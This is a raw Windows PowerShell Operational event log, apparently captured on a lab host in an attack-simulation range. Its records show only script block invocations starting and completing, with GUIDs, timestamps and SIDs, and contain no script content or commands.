Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026963
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026957
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026935
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026933
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026932
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
